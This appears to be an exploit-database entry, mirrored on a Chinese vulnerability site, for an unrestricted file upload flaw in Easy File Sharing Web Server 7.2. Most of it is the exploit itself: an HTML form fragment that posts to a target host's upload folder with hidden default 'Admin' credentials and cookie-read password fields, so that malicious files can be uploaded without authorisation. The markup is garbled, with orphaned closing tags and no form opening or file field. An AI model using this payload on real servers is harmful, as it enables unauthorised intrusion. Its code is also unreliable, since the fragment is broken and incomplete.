发布 2017-06-28 漏洞条目

Easy File Sharing Web Server 7.2 – Unrestricted File Upload

Exploit Source

##################################

# 2017/6/15 Chako

# EFS Web Server 7.2 Unrestricted File Upload

# Vendor Homepage: http://www.sharing-file.com

# Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe

# Version: Easy File Sharing Web Server 7.2

# Tested on: WinXP SP3

##################################

EFS Web Server 7.2 allows unauthorized users to upload malicious files

[Exploit]

// action="http://target_host/disk_c/vfolders

// </script><input size="20" name="upload_author" value="Admin" type="hidden">

// have to know the user name by Default "Admin"

<!--

document.write('<input type="hidden" size="20" name="upload_author" Value="'+ReadCookie("UserID")+'">');

// -->

</script><input size="20" name="upload_author" value="Admin" type="hidden">

<!--

document.write('<input type="hidden" size="20" name="upload_passwd" Value="'+ReadCookie("PassWD")+'">');

// --></script><input size="20" name="upload_passwd" value="829700" type="hidden">

<td colspan="2" height="63"> <span class="bgen">Description:</span> <br>

</td>

</tr>

<tr>

</tr>

<tr>

</tr>

<tr>

</font>

</td>

</tr>

</tbody></table>

</center></td>

</tr>

</tbody></table>

</center>

</form>

[/Exploit]

相关漏洞条目